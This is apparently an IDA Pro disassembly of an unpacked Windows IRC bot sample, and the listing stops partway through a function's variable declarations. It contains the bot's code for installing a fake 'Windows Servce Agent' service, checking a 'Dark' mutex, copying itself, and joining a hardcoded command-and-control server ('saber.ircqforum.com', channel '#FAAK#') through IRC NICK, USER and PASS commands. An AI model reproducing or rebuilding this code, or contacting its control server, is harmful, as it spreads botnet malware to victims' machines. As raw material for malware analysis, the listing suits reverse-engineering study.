; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : CAA04F831E8BC5C719B8A0A1A3C67CB9 ; File Name : u:\work\caa04f831e8bc5c719b8a0a1a3c67cb9_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServceA ; "Windows Servce Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF28 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAF98 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAED8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF50 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEBC call dword_4CB00C call sub_40B2BF call dword_4CAECC call dword_4CAECC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D128 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2670000h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2660000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2650BFCh test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D120 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACB0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACB4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB020 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 26806FCh push eax nop call near ptr 268065Ah cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAEE4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2670000h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 268056Eh push eax call near ptr 2660000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293C4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293BC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 26804D6h cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2680399h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 2680000h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 26705B3h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2680399h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D128 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2670F83h push eax push esi push 100000h nop call near ptr 267090Eh lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293B0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2650BFCh test eax, eax jz short loc_401516 push 0C8h call near ptr 26705B3h nop push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAECC push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB294, 2 jle short loc_401562 mov eax, dword_4DB298 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 268065Ah push esi nop call near ptr 265092Ah mov eax, dword_4DB298 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 26705B3h mov eax, dword_4DB298 push dword ptr [eax+8] nop call near ptr 2670881h loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB044, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429394 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D130 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429370 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_401622 nop call near ptr 2680000h push eax lea eax, [ebp-0A0h] push offset unk_429330 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429304 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_40169A nop call near ptr 2680000h push eax lea eax, [ebp-0A0h] push offset dword_4292D0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACBC mov dword_4CAE28, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD3C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CAD7C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE10, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACB8 mov dword_4CAE24, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE24, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 26705B3h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACBC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACBC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAECC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAF74 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEC8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CAFF4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEBC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB00C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 26705B3h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293CC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB00C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE20, bl jz short loc_40199A push offset byte_4CAE20 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB00C push 1388h nop call near ptr 26705B3h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAF8C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call near ptr 26705B3h nop jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h 